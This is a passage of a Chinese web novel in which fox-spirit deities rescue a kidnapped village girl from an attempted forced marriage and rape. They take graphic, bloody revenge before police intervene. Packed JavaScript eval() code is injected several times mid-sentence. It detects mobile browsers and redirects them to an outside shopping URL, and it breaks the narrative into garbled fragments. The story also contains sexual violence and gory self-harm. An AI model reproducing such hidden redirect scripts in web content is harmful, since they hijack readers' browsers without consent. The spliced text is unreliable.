我冷眼打量着她,试图从她那张无辜的脸上找出一丝破绽:“别骗我了,有邻居看见流苏来你家了!” “什么?” 风柔心虚地赶紧摆手否认: “没、真没有!不信你可以来家里搜…… 小萦你是不是还在生我的气啊,你怎么能、找不到风流苏就怀疑到我身上呢。 我们才是亲姐妹啊,你以前从不会为了外人对我疾言厉色。” 她说着还红了眼眶,又开始梨花带雨地装可怜。 看她这反应,我一时还真没办法确定她说的是真是假。 流苏不在大伯这,那能去哪? 院子里的大伯听见动静没个好脸色地掐腰走过来:“你来干什么!我们家不欢迎你,滚滚滚!” 风柔一如既往地装老好人,挡在我跟前假意护我:“爸,你别这样说!小萦是来找风流苏的。” 大伯听了这话老脸更黑了,冷哼道: “找风流苏去她自己家啊!来我们家找什么,我们还能把风流苏吃了不成!” 我不死心地往大伯院子里瞟两眼,半信半疑地说: “既然流苏不在,那我就不打扰你们了。” 我转身就走,大伯点了根烟,突然在院子里高声提醒一句: “今天田里放水,她家田头占了别人的地,她回家解决去了!” 流苏回自己家了? 我顿了一步,没有转身道谢,缓了缓继续往自家方向走。 身后的院门咯吱关上—— 不对! 苏苏就算有急事回家,也不可能一声不吭就跑回去了。 我没起床,但胡玉衡他们都在家里呢! 再急的事,也不至于连和胡玉衡他们说一声的时间都没有…… 我惴惴不安地加快步伐,推开自家大门回到自己家后不假思索地直奔堂屋而去。 “小萦你回来了,早饭吃什么?” “苏苏呢?你们拔菜怎么拔了这么久?” “你怎么了,为什么脸色这么难看……” 我无视上来打招呼的几位仙家,将胡玉衡的牌位从供桌上取下来,用黑布包住,系在背后。 胡玉衡悄然出现在我身侧:“发生什么事了?” 我一刻也不敢耽搁地背着牌位往外跑: “你徒弟不见了!你的玉佩是不是还在她手里来着?你能感应到她的方位吗?” 胡玉衡亦快步跟上我,惊愕道: “苏苏不见了?!怎么会平白无故消失不见,玉佩应该还被她贴身携带着,我试试感应一下!” 我带胡玉衡迈上门前小道,停下来等胡玉衡给我指路。 很快,胡玉衡神色严肃地告诉我:“在西边!咱们往西走!” 我点头,脚下步子越走越急: “你来给我指路。 刚才我去风大年家问过了,风柔说苏苏不在她家,风大年告诉我苏苏回自己家办事去了。 我本来想去苏苏家找苏苏的,但转念一想,苏苏家离我们这至少有四五十分钟的路程。 如果风大年是骗我的,一来一回我就要浪费一个多小时的时间,苏苏要是有什么事,遇见什么危险,我多浪费一个小时怕是会悔恨终生! 苏苏从小就没有爸妈,她姥爷也不疼她,几个表哥还欺负她,她只有我一个亲人了,我不能赌风大年的话是真是假,我赌不起!” 胡玉衡亦心惊胆战地点头: “小萦你考虑得对,风大年的确骗了你,这个方向根本不是去苏苏家的方向。 而且我能感应到,苏苏就在附近四里范围内!” 我不敢再往深处想:“这个方向、老张家那个精神病儿子家就在这个方向……” 胡玉衡停顿了下,清隽俊容顿时由白转红,眼底透出猩血,紧攥双拳压着低沉嗓音愤怒道: “他们要是真敢那么对苏苏,我定不饶他全家!” 我跑得气喘吁吁道:“我们先稳住,这只是我能想到的最可怕的结果!也许,苏苏只是去附近邻居家办什么事了呢。” 虽然我也清楚,这个可能几乎为零。 苏苏家住在村子最南边,我家在北边。 村南的村民和村北的村民根本不熟,苏苏住在我家,除了附近的几户偶尔会碰面的邻居和村长江叔,她根本不认识其他人。 况且苏苏还是个重度社恐,以往去风大年家都扭扭捏捏浑身不自在,半天说不出一句话。 没有我在,她根本不可能自己往陌生邻居家跑,她会害怕的! 走到老张家门口大水塘的对岸,我突然被路边一位不太熟的婶子扯住手腕拽到了她家菜园里。 那婶子神神秘秘地四处张望了一番,确定路上没人,才捉住我的手着急报信:“风家丫头!你是不是来找你小表妹的?” 我一惊,忙反握住婶子的手,既着急又害怕地找她确认:“是不是在张家!” 婶子谨慎地点头,好心告诉我: “半个小时前,我刚起床,一拉开家门,就看见张家那个疯子肩上扛了个女孩,往自己家跑了! 老张和他女人跟在后面,还高兴的说什么,幸亏风家女婿明事理,帮忙把风家这个没爹没妈的孩子给擒住了。 还说风家女婿给了他们一张符,只要让那女孩喝了符水,和那神经病睡一觉,就能给他们家一举得男,还能让那女孩这辈子死心塌地跟着那疯子。 哎呦造孽啊,那孩子都惨叫半个小时了,我们这些当邻居的也不好过问,毕竟住得这么近,又是亲戚…… 丫头啊,你还是别过去了,那疯子疯起来可是连亲爹妈都往死里打,你一个小姑娘过去是会吃亏的,搞不好你们姐妹俩都被他害了……” 符水、一举得男、死心塌地跟着那疯子…… 我的心瞬间似被一双无形 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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心提到嗓门眼那一刹,胡玉衡飞身化作一道白光,凶戾地将张家疯儿子穿体而过,生生撞散了那疯男人一缕魂魄—— 上一秒还凶神恶煞举着巴掌的男人,下一秒就双腿一软,双膝重重跪地,喷出一口鲜血垂头半死不活的眼神空洞失了智。 “苏苏!”胡玉衡化出人形踉跄跑向被打得全身是伤的流苏。 流苏手腕上的布条陡然一松,噙着满嘴鲜血,双目攀满红丝,眸光浑浊地抬头,见到胡玉衡那一瞬也猛地痛苦委屈放声大哭出来,无助哽咽:“玉衡哥哥……” “苏苏,我来了,苏苏……你疼不疼,没事了,我这就给你疗伤!” 胡玉衡单膝下跪接住苏苏伤痕累累的身体,心疼抬手,给苏苏擦去脸上的血迹,着急运功施法为苏苏治疗身上的伤口。 “没事了苏苏,我知道你怕疼,乖,很快就不疼了……” 张家老两口看见突然出现的胡玉衡,吓得一个激灵仓皇后退: “哎呦我的妈呀!这什么东西!鬼鬼鬼、鬼啊!” “不是鬼,是风萦养的那些仙家,你忘记大年两口子和咱们说过什么吗?风萦那死丫头家里养的全是脏东西!” 张老头他老伴听见这话恍然大悟,立马招呼着张老头:“符、江道长给的符!” 说起符,我赶紧提醒胡玉衡:“问问苏苏有没有喝符水!要是喝了赶紧帮她逼出来!” 胡玉衡抱紧怀里哭到全身颤抖的流苏,努力放轻声,温柔摸摸苏苏脑袋,问她: “苏苏,告诉玉衡哥哥,有没有喝过别人给的脏东西?” 趴在他胸膛上嚎啕大哭的流苏点头,颤颤道: “喝了,他们非逼我喝什么符水,又臭又酸…… 玉衡哥哥,二姐,别放过他们,给我报仇,他们都是坏人!” 张老头两口子还在手忙脚乱地从口袋里掏黄符,磨磨蹭蹭终于翻出一张,对着胡玉衡嚣张道:“**吧——” 黄符上血色符文骤然大放红光,正要往胡玉衡头上罩,却被我突然窜过去,一把抢了过来。 手快地把黄符撕成碎片,朝张老头两口子扬过去。 张老头两口子眼见唯一的希望被我撕烂了,气得直翻白眼:“你、你个小**,你怎么敢……” 而他们的举动也彻底激怒了胡玉衡,胡玉衡护着流苏眼神阴戾地抬头,愤怒至极的呲嘴露出尖牙。 双眼兽化成幽深神秘的雪色狐瞳,身后陡然化出七尾白狐真身虚影…… 目眦欲裂地哑着嗓子暴怒恐吓: “殴打本座的爱徒,辱骂本座的主人,你们、都该死——” 第70章 他还不能死! 嘶吼间,平地猛地卷起强劲飓风,飞沙走石裹着沙沙落叶化作锋利凶器,径直朝张家二老强袭而去—— 沙石与枯叶划破张老头与他老伴身上的衣服,吹得两口子满脸血印。 张老头被石子划得手忙脚乱捂伤口,痛得直跳脚。 而他老伴则恐慌地直接躲在他身后,拿他当挡箭牌使了。 “狐、狐仙……是狐大仙!”张老头害怕地扭头想逃,岂料刚转身就**玉衡的一缕分身拦下。 大白狐狸晃动着招摇的七条狐尾,上挑的狐眼微眯,咬咬牙,扬起指甲尖锐锋利的狐爪就朝张老头脸上盖去—— 一巴掌将张老头及其老伴儿扇飞五米远。 胡玉衡那一爪子抓下去,张老头顿时整张脸都被抓得血肉模糊,摔倒在地后更是捂着脸疼的嚎啕大哭起来:“啊——我的脸!疼啊,我的眼睛!” 当然他老伴儿也没能逃过一劫,下一瞬,只听院子里又响起一道凄厉尖叫。 是胡玉衡分身瞬移至张家老太婆跟前,再次利落两爪子把老太婆的老脸也挠破了相。 挠完,分身化作一道白烟穿梭在张家老两口中间,一遍又一遍地用利爪抓破两人的衣裳及皮肉—— “你不是喜欢怂恿别人**吗!我也让你尝尝被打的滋味!” “刚才不还叫嚣着要打服本座的苏苏么,有本事和本座打!” “老不死的,本座今天就送你俩上西天!” 胡玉衡将张家那老两口抓得身上血肉横飞,老头和老太婆的惨叫一时传遍小半个村南头。 “放过我们,我们错了,我们真错了!” “哎呦我的妈啊,别抓了,别抓了!” “我要被疼**,我的皮啊——” “不是我们把人抢来的,是江道长,是她把人迷晕送给我们的! 我们一开始要的丫头也不是风流苏啊,我们要的是风柔!” “风大年舍不得把风柔给我们,就把风流苏送给我们、抵债!” “仙家饶命啊,都是风大年一家子出的主意! 是江道长非说风流苏的八字旺我儿子,说只要拿流苏冲喜,我家儿子的疯病说不准就能好起来……” “你要报仇,就去找风大年两口和风柔江道长报仇啊!我们冤枉,我们是无辜的啊——” 张家老两口痛得抱在一块嘶声哭诉。 胡玉衡收拾完两个老东西,回头开始对张家没了魂的疯儿子下手…… “江墨川的账,我自会去找他算!你们张家给我记住,从今往后本座和你们张家杠上了,本座定缠得你们张家家破人亡!” 放完狠话,胡玉衡一道白光穿过张家疯儿子的肉身,撞得张家疯儿子又猛喷一口血沫子。 分身回到胡玉衡体内,胡玉衡护着流苏,抬手施法对张家疯儿子使用惑魂术: “既然你如此喜欢动手,本座成全你。打,给本座狠狠打!” 受狐仙法力蛊惑的疯男人眼神空洞目光浑浊地僵着身子从地上爬起来—— 紧接着举起拳头疯狂往自己脸上挥,胸口砸。 “我是浑蛋,我是变态,我该死,我打死我自己!” “我是变态,我该死,我打死我自己!” “我就不配活着,我该死——” 疯男人的力气倒是挺大,几拳头就把自己打得牙齿脱落腮帮子青紫,口中鲜血狂喷了。 “我不配活着的,我该死——” 疯男人仿佛打上了瘾,一拳捶爆了自己的右眼球,眼球内的白色粘液都炸了出来。 我看不下去的别过头,感觉都要幻痛了。 苏苏被疯男人这癫狂的举动吓得脸色惨白,哇一声又哭着埋进了胡玉衡怀里。 张家老两口见状疯魔的心疼爬过去,一个抱疯儿子双腿,一个抓住疯儿子乱挥的拳头,试图阻止疯儿子伤害自己,嚎啕哭喊道:“儿啊!不能再打了!” “儿啊你快清醒清醒!你会把自己打死的!” “别打啦——” 发起疯来的张家儿子就是头按不住的野牛,一脚踹开搂腿的母亲,甩开抓他胳膊的父亲,一个猛力将张家老两口扔得远远的。 转头把目标放在墙角竖放的那把铁锹上,冲过去拿起铁锹往自己脑袋上乱砸一通。 铁锹将他头颅拍得鲜血飞溅,几锹下去脑壳开裂满头血流如注。 虽然他落得现在这个下场是活该,但我不能再放任胡玉衡操控下去了。 “胡玉衡!”我着急喊住胡玉衡,肃色道:“他不能死,你还想不想重塑肉身了!” 他可是狐仙,要是手上沾了人命,怕是会永久失**而复生的机会! 胡玉衡双目充血还在气头上,抱着流苏不管不顾地恶狠狠道:“他敢这么对苏苏,不杀他难解我心头之恨!” 我晓得胡玉衡其实也是个重情义的死心眼仙家,何况他对苏苏还…… 张家把苏苏打成这样,胡玉衡不灭张家的口就已经算他仁慈了。 现在让他放过罪魁祸首,于情实在说不过去…… 我劝不动,就只能将希望寄托在苏苏身上了。 毕竟为了这么个烂人搭上重塑肉身的机会,不值得! 院子里张家老两口还在拼老命地和自家疯儿子拉扯。 张家老太婆哭得悲天跄地,扯嗓子大喊:“儿啊,别打了,你会把自己打死的!” 张家老头阻拦期间还被自家儿子误拍了两铁锹: “狐大仙,求你放过我儿子吧,我们知道错了,有什么事你冲着我们老两口来! 我家就剩下这一个独苗了……你不能让我们老张家绝了后啊!” 我耳尖地听见外面有警车鸣笛声渐离渐近。 赶忙朝怕得一直哭的流苏喊道:“苏苏!” 苏苏向来聪明,最懂我的心思,听见我喊她二话没说就抱住胡玉衡脖子放声哭道: “玉衡哥哥,你别这样,我害怕。玉衡哥哥我不要你因为我失去重塑、那个的机会! 玉衡哥哥,我还想让你陪我进城去祭拜爸妈,你答应过我,等有一天你自由了,就带我去世上任何我想去的地方! 玉衡哥哥你快停手,不值得的!苏苏未来还想和玉衡哥哥一起做很多事,玉衡哥哥——” 有流苏开口,胡玉衡的雪色狐瞳果然很快就恢复了正常,理智回归,掌中法力敛下光华…… 收了操控张家疯儿子的仙术。 “苏苏!”胡玉衡疼惜地环住流苏腰身。 铁锹从张家疯儿子手里掉落,同样身受重伤的张家老太婆赶忙扑过去心疼抱紧自家独苗,哭得痛彻心扉:“我的儿啊!咱们老张家这都造的什么孽啊!” 外面的警车很快便停在了张家院门口,刺耳的鸣笛声在村落里尖锐回荡。 张家老头子以为是救兵来了,忙激动高呼: “警察、有人报警了!好啊,我要告你们蓄意**,我要让你们牢底坐穿!” 说完,着急忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17438785|200927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慌的主动往院门外迎:“青天大老爷啊,救命啊,**啦——” 身穿制服的**刚踏进院子,张家老头就一改方才在胡玉衡面前卑躬屈膝狼狈求饶的怂样,含泪握住警察同志的手狐假虎威反打一耙: “警察同志啊,你们终于来了,再不来我们就要被这两个妖怪给打**!警察同志,快、快把这三个凶手给抓起来,判他们**,关他们一辈子!” 出警的两名男同志和一名女同志也被张家老头满脸血肉外翻的模样给吓了一跳,只是等他们放眼看过来时,原本护着苏苏的白衣大男人已经变成了一只瑟瑟发抖的瘦巴巴小狐狸。 小狐狸缩在苏苏怀抱中,牙齿打颤地用着警惕目光怯生生打量这三位生人。 瞧起来,像只受了惊吓的小狗。 倒是张家那个疯儿子,手里还掂着把带血的菜刀,一副要行凶剁人的凶煞样。 见对方手里有凶器,为首的**立马从腰间掏出配枪,端枪指着张家疯儿子警惕呵斥: “放下武器!” 张家老太婆看见**枪口指着自家儿子顿时就不乐意了,急不可耐地用手比划: “指错了!都错了!应该拿枪打这两个小**! 那是我儿子,我们是受害者,是那两个小**带着狐大仙私闯民宅行凶,警察同志快! 快把她们抓起来,判**!” 三位**同志看了看站老远的我,又瞧了眼瘫坐在防盗窗下,一只手被绑,满身都是血痕,鼻青脸肿腮帮子还鼓得老高的苏苏,立马就捋清了前因后果。 “我们接到报警,张鹤年与其子张二桥**同村单身女孩风流苏,用暴力手段逼迫风流苏为张二桥生孩子,张二桥还有严重的精神疾病,拿刀的那个就是张二桥吧!” “你们这是**、**!你们的儿子有危及到他人生命安全的精神疾病,就应该送去精神病医院!” “你们身上的伤,又是怎么回事?!” 张家老两口闻言立即统一口径为儿子脱罪: “不不不,不是这样的!我儿子、我儿子一直在吃药,病情已经很稳定了! 是这两个小**,她们突然闯进我家,还把我们一家三口打成这样!” “警察同志,你们千万别信这两个小**的话,她们是在诬告,诬告!” 女**蹙眉不悦反问: “可那个女孩还被你们绑在防盗窗上,浑身都是伤,你们又怎么解释? 你的意思是,报警人一个姑娘跑进来打了你们全家? 还是在你儿子手里拿着菜刀的情况下?” “不、不是……” 张家老太婆顶着张血肉模糊的老脸哭着抬手指向苏苏怀里的狐狸,面目狰狞地告状: “是那只狐大仙!是他把我们挠成这样的!他是妖怪,警察同志快去找人来把他收了,他是妖孽啊——” 张家老头也臭不要脸地反咬一口: “我们、我们没有绑风流苏那个小**!是她!是她勾引我儿子,自己跑到我家来闹的!” 我听不下去的生气呛道: “你是说我妹妹流苏会主动勾引你患精神病的儿子? 村里谁不知道你儿子发起病来连亲爹妈都打,小时候就活活虐杀了自己亲妹妹!” 老张头底气不足的没理支吾道: “那、我儿子长得俊啊,风流苏打小缺失家教,她妈又是那种货色,在外面给大老板当小三……” 第71章 你相信重生吗? “就是你们把我绑过来的,还有风大年两口子和风柔江墨川。 我在家门口拔菜,江墨川突然出现迷晕我,风大年把你们全家都喊了过去,把我交给了这个疯子。 你们把我带回来,逼我喝那些不干不净的符水,我不让那个疯子碰你们就把我绑起来打!” 一句话触及了流苏的逆鳞,流苏情绪失控地哭着朝他们吼道: “我妈不是小三!我妈和我爸领过结婚证!我不是野种,我有爸爸有妈妈,我爸妈是全天下最好的人!” 我于心不忍地瞧了流苏一眼,紧跟着向三名警察同志说: “张二桥有精神病,他每次病发就会失控**,连自己亲父母都打,这件事全村人都知道! 他们身上的伤和我们无关,是张二桥发病打的! 你们来之前张二桥还疯狂拿铁锹拍自己脑壳呢,不信的话你们可以把那个铁锹带回去验指纹和DNA。 看看上面是不是只有张二桥和他爸妈的指纹,铁锹上是不是张二桥自己的血!” “你胡说!明明是你养的狐大仙把我们抓成这样的!”老张头急得恨不得将一双眼珠子瞪出来。 我淡定指着苏苏怀里的白狐装委屈: “张叔你说的是这只小狐狸吗? 他还没满月呢,是宠物狐,胆子特别小,他是跟着我一起来找苏苏的,你看你们都把他吓应激了,他爪子上可没有你们的血。 再说,什么狐狸啊,能把你们挠成这样……这分明是你家儿子用钉耙打的。 张叔,我早就和你说过了,二桥哥在村里就是个移动的**,说不准什么时候就**了。 你不能为了给二桥哥脱罪,就颠倒黑白吧。” 老张头被我气得险些一口气没上来,抓住男同志的胳膊急吼吼大叫: “你别听她的!就是那只狐狸有问题,他是狐大仙!你去风萦家看看就知道了,风萦家供了一大堆仙家脏东西!” 我可怜巴巴地瘪嘴,故作为难:“张叔,不可以封建迷信哦,现在任何事都讲科学依据。” “你!” 老张头来不及反驳,他那个好似刚从命案现场爬出来的儿子就抡起菜刀癫狂地朝他砍去: “**!死老头,不给我钱,你**,你的钱就全是我的了!” 张家老两口见状顿时被吓得忙往警察同志身后藏,后来还是那名长相大气的女警举枪放了个空响才吓退了持刀行凶的张二桥。 张二桥当着**的面行凶,**们也不需要再往下查了,年轻的小警察跑门口喊了声,县精神病医院的医生护士们就扛着担架立马冲进来—— 擒拿、按上担架、绑住手脚、注射镇定剂,一气呵成。 见护士们要把张二桥抬走,张家老两口崩溃地扑过去阻拦,哭声凄厉: “别带走我儿子!我儿子没病啊!” “我们老张家可就只剩这一个独苗了,你不能把他带走啊——” “我的儿啊!” 可惜精神病医院的医生与护士常年和患者家属打交道,像张家老两口这种家属也是见惯了,根本不给一点好脸。 领队医生一人硬将两位老人的手从担架上拽了下去,没有感情地冷冷道: “你儿子这种情况已经很严重了,你管不好你儿子,这只能让法律来管了! 现在上头对你儿子这种人群有政策,可以给你儿子免治疗费,以后你们再想见你儿子,就来恩福医院吧!” 女警收枪厌恶道:“你儿子要是个正常人,就该被带去坐牢了,去医院总比蹲监狱好!” 张家老两口眼睁睁看着自家儿子被带上救护车,只能站在门口又蹦又跳地哭着耍无赖: “老天爷啊,官老爷抢人了啊!” “当官的草菅人命,要把我儿子关进精神病医院啊!” “老天爷啊,你怎么不降雷劈死这群没心肝的啊……” 我强压着心底的怒火反怼道: “老天爷降雷也是劈你们这种丧尽天良的人! 帮着儿子**人家刚成年的小姑娘,还把人家打成这样,你不就是仗着苏苏没有爸妈吗? 我告诉你,我和我妈还没死呢! 你们等着吧,迟早有一天你们都会遭报应!” 张家老两口经我一提醒,总算想起来胡玉衡之前放话要搅得他全家不得安生的事了,两口子相视一眼,哭得更厉害了。 我说完,迎上那女警探究的目光,哽了哽,理直气壮道:“吓唬人应该不犯法吧。” “不犯法。”年轻女警主动走过去帮苏苏松开胳膊,还心细地顺手摸了把胡玉衡脑袋,确认胡玉衡是只没有攻击性的小狐了,才扶着苏苏起身。 我赶紧跑过去抱住苏苏。 苏苏瘫靠进我怀里,委屈地又哭了起来。 女警拍拍流苏肩膀,心善问道:“用不用我们载你们去城里医院处理伤口?” 我轻声说:“不用,我回去给苏苏包扎,我妹妹认生,去陌生地方会焦虑。” 女警点头嗯了声,随后又沉稳地瞟了眼苏苏怀里白狐:“这狐狸是你家养的?” 我淡定承认:“是,我喜欢养异宠。” 女警眼神锐利地看我,从容说:“黄河边上怪事挺多的。” 我仗着她看不出胡玉衡是仙家,平静回了句:“警察同志,不能封建迷信哦。” 女警噎住,张了张嘴想和我说些什么,又犹豫着不好出声。 半晌,女警意味深长地问我:“你相信、重生吗?” 我呆住:“什么?” 女警低声阐述: “一个女孩,她能预知所有未发生的事,她说她死过一次,那些事,她前世都经历过。 她依靠着自己能预知未来的能力,成功抢回了家人的宠爱,她的今生,弥补了前世所有遗憾。 我想问你,人真的会重生吗?” 见她目光坦诚,好似迫切想知道答案,我实话实说: “我目前只听说,死而复生,没听说过重生。” 女警深吸一口气, “从科学的角度来说,当科技手段达到某些条件,某个高度,是可能发生穿越时空回到从前的事件。 但就目前的最高科技水平而言,科技手段还没有达到这个高度。 就算达到了,这种事也不可能发生在一个普通女孩身上。 科学解释不了,就只能试着从玄学方向找答案。 我认识的那个女孩,通过她讲述的一切,给我最直观的感受就是,像短剧。” “短剧?”我越听越糊涂了。 女警点点头,面色凝重道: “她小时候跟随父母去外地出差,路上不小心被弄丢了。 她父母找了她很多年,都杳无信讯。 后来她父母为了缓解失去她的悲痛,在外领养了一个女孩,顶替她的位置。 据她所说,前世她长大后机缘巧合下终于和父母重逢了,只是父母早已和养女相处出了极深的感情。 她回去后,父母偏爱养女冷落她,那个养女也动不动就各种污蔑她,欺负她。 她回家三年,被抽血,被**,甚至被、侵犯,还永久失去了生育能力。 最终她忍受不了亲人的背叛,跳黄河**了。 然后,她一睁眼就回到了三年前,她还在上大学的时候。 这一世她挑了个合适的时机和父母相认,给父母留下了极好的印象,还戳破了养女的谎言,让父母彻底认清养女的真面目。 养女也因阴谋败露,羞愧难当地****了。 现在,她和她的父母过上了上辈子最期望得到的幸福生活。” 我闷咳两声,“还真像、短剧……” 为难地抿了抿唇,我委婉提醒: “该不会是短剧看多了,癔症了吧……要不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苏苏不好意思地红了脸,委屈鼓腮:“二姐啊~” 我搂着苏苏离开:“好好好,我不说出来,不说!” 幸好胡玉衡之前用法力给苏苏疗过伤,苏苏身上现在的那些痕迹都是胡玉衡为了忽悠别人变出来的,看着血淋淋怪恐怖,实际上都是假的。 不然我可不敢带苏苏在张家耽搁这么久。 护着苏苏出门那会子,张家老太婆不知道突然抽什么疯,拿出一瓶什么玩意液体追着往苏苏身上泼—— “你给我**!” 幸好我眼疾手快把苏苏按进怀里,用自己后背替苏苏挡下了那滩冰凉…… 泼过来的东西,像水,凉凉的。 丝丝寒意钻进我的毛孔,像无数触手在我血肉内扎了根。 除了湿凉,没有其他感觉。 不像是药水。 我甚至都怀疑张家老太婆是不是恼羞成怒往我身上泼尿了…… 胡玉衡愤怒呲牙,瞬间又变出一道白狐分身飞进了张家院子。 两扇木头院门砰地一声紧闭住。 随即就是张家老两口的嘶声惨叫。 我拧眉提醒:“别闹出人命。” 胡玉衡生气炸毛,磨着后牙槽狠声道:“放心,我有分寸!” 苏苏着急查看我后背:“二姐你没事吧,她泼的是什么?不会是硫酸吧!” 我好笑道:“怎么可能,普通老百姓哪来的硫酸啊。” 胡玉衡伸出爪子往我背后摸了把,嗅了嗅爪尖的味道:“像、水?” 我嗯了声,有理有据道: “可能是他们故意用这招唬咱们的,我也没有感觉到任何不适。 她们能有什么好东西可攻击我们,顶多又是些来历不明的符水。” 胡玉衡赞同颔首:“也对。” 我牵着苏苏,继续往回家方向走。 路上邻居们都站在自家门口的大路上看热闹。 灼热目光看的苏苏社恐症又犯了,抓住我的手就一路小跑起来。 原本我是没对背后那滩冰凉上心的,可不知是我的错觉,还是真不对劲…… 我总觉得,背后的寒丝还在往皮下钻,密密麻麻的触手疯狂往我肩上鳞伤处汇聚。 第72章 帝曦到底犯了什么错 回到家,胡玉衡把受了惊的苏苏送回房间,亲手给苏苏煮了碗压惊汤,哄着苏苏睡下后,才出来和我们说话。 柳云响听我说完苏苏的遭遇,生气掐腰骂道: “风大年全家都不是好东西,闺女是顶级绿茶女婿是高级渣男,这俩浑蛋玩意凑在一起,绝配! 那渣男这辈子做过的唯一一件好事恐怕就是临时反悔另娶风柔那个绿茶,放过咱们家萦儿一马了! 幸好萦儿你没有犯傻为了续命委屈自己一让再让,真忍了那浑蛋让风柔当大让你做小的无理要求! 不然按他们两口子那变态程度,借完寿准不会轻易放过你,非将你绑在身边当丫鬟使唤! 风柔那绿茶欺负你我能理解,毕竟你们俩是堂姐妹,从小又一起长大,身边人总念叨你龙女转世的身份,她身为一个普通凡人心里难免会有落差,可她为什么还要逮着流苏欺负! 就因为流苏性子软,好欺负吗?” 沈沐风摇着桃花折扇理直气壮道: “嗳,还真就是因为流苏好欺负,才会被逮着欺负。 凡人有句话说得好,只要你能吃苦,那你一辈子就有吃不完的苦。 同理,性子软也是如此。 流苏从前被风大年一家子欺负压榨惯了,她一个小姑娘又不敢反抗。 所谓柿子要挑软的捏,捏上瘾的风大年一家子尝到甜头,自然恨不得将流苏敲骨吸髓。” 柳云衣道: “风大年欠了老张家赌债,与还钱相比,送个无关紧要的外甥女去给别人家传宗接代,简直是不痛不痒,对他并无任何损失,空手套白狼的技术是被他玩熟了!” 颜如玉重重叹息:“就三万块钱啊,这便把苏苏卖了!” 沈沐风道:“反正苏苏又不是风大年的闺女,苏苏对风大年一家来说,算是意外之财。” “对了胡哥,你打算怎么收拾那条死蛟?”白仙问。 鱼仙摇头无奈道: “能怎么收拾,难不成让小萦背着咱们的牌位去江墨川家,围殴江墨川? 死蛟又不是傻子,光站那等着咱们群殴。 反正胡玉衡一个人行动肯定是不成的,死蛟已经重塑了肉身,眼下就算死蛟和风柔结婚后身上的灵力大不如往昔,胡玉衡也不是他的对手。 要干,就得咱们八个联手一起去干!这样胜算肯定百分百,咱们八个修为不如他的加起来熬也能把他熬死!” “你说得对,要对付死蛟给苏苏出气,肯定得咱们八个一起出手!一人挥他两拳他也得扛住十六拳攻击!捶死他!” **仙琢磨道: “不过,老鱼的话也有道理,就算小萦背着咱们去风大年家找死蛟算账,打起来,他逃去十里百里外,咱们也只能干瞪眼。 牌位将咱们的活动范围束缚在方寸天地间,咱们团伙作案,实在不方便。 目前只有一条路可走,那就是等龙尊回来! 龙尊法力高强,能帮咱们暂时解除牌位的禁锢,没有牌位压制着咱们的力量,咱们道行至少能恢复生前的六七成。 勿说联手了,胡玉衡自个儿都能和现在的死蛟打得有来有回!” 仙家们之所以忌惮现在的江墨川,并非是因为自身修为不如江墨川。 相反,江墨川在我妈带回来的这九位仙家中实力只能排第六,刚来我家那会子连沈沐风都能一脚踹他脸上。 后来江墨川的实力突然飙升至九位仙家之首,也是因他脱离牌位束缚的缘故。 据仙家们说,我妈搞来的这九副牌位里有高乘法术禁制,他们可以住进牌位,靠我的血维生,同样牌位的禁制也会压制他们原本的道行能力,令他们只剩生前的三成修为。 江墨川脱离牌位的禁制后又重塑了肉身,法力日渐增长,实力自然就慢慢碾压了还被压制的胡玉衡他们。 哪怕江墨川在同一道禁制下道行仅能排第六,脱离禁制后,用他的六成修为也能对付得了胡玉衡这个老大的三成修为。 更何况,江墨川现在已经不止恢复了六成功力。 胡玉衡颔首冷静做决定: “先等龙尊大人回来,我们再向他求个恩典,请他出手放我们自由半日。 只需半日,我便能同黑蛟新账旧账一起算!” 我平静发表看法: “现在都闹到警察出面带走张二桥的地步了,张二桥爹妈又**玉衡吓得不轻,张家以后肯定不敢再打流苏的主意了。 他们拿捏不了苏苏,就只能去找风大年一家子算账,我看,风大年家以后的日子要不太平了。 张家那老两口可不是什么乐意吃亏的主。” “把风大年家搅得一团糟才好!” 柳云衣愤愤不平道: “风柔和她爹妈本来就没一个好东西,现在又加上个黑蛟,真是一损损一窝!” 我拿手机看了眼时间,“流苏睡了,中午我不怎么饿,就不做饭了。你们先回牌位里修炼吧,有什么事我再叫你们。” 胡玉衡他们相视一眼,颔首应下,相继化作白光飞回了牌位内。 我顺手拿起桌角摆着的三支线香,用打火机点燃,先给龙仙大人神位前的香炉插上。 随后再抽出三支,给家里的八位仙家供上。 看着正堂上方那尊空白牌位前燃出的袅袅青烟,我长吐了口浊气。 也不知道帝曦什么时候能回来。 回卧房躺下,小银鱼还在窗台上晒太阳,悠闲地摆动着七彩大尾巴,大白嗓子唱怪歌扰民: “太阳当空照,花儿对我笑,小鸟说早早早,你为什么背上小书包……” “我告诉小小鸟,大王叫来巡山,巡完东山巡西山,拿出我的火,掏出我的球,一炸一个真带感……” “荡平西山铲东山,金矿银矿全归我~” 我深受折磨地捂住双耳,努力不让他的跑调魔音钻进我脑子里,欲哭无泪地问他: “你家大王就没有和你说过、你唱歌有点难听吗?” 小银鱼摆尾回头看我:“哦,说过,我没管。毕竟我前主人告诉过我,跑调不是大问题,多唱唱调就准了。” 我:“……” 唱歌跑调,真的等同于慢刀**啊! “那你继续唱吧……” 我拎起被子盖身上,生无可恋地提醒: “哦对了,你想炸山的思想有点危险啊……现在不让炸山,炸山会牢底坐穿。” 小银鱼哦了声,很上道的睿智道:“那我下次把词改改,炸黄河。” 我:“炸黄河也犯法。” 小银鱼:“我炸我家又犯哪门子法啊!” 我闭上眼睛,头头是道告诉他: “你炸你家,肯定要伤到你的同类吧,而据我所知,你的同类有百分之九十都是保护动物。 你就掂量吧,炸伤一个蹲十年!” 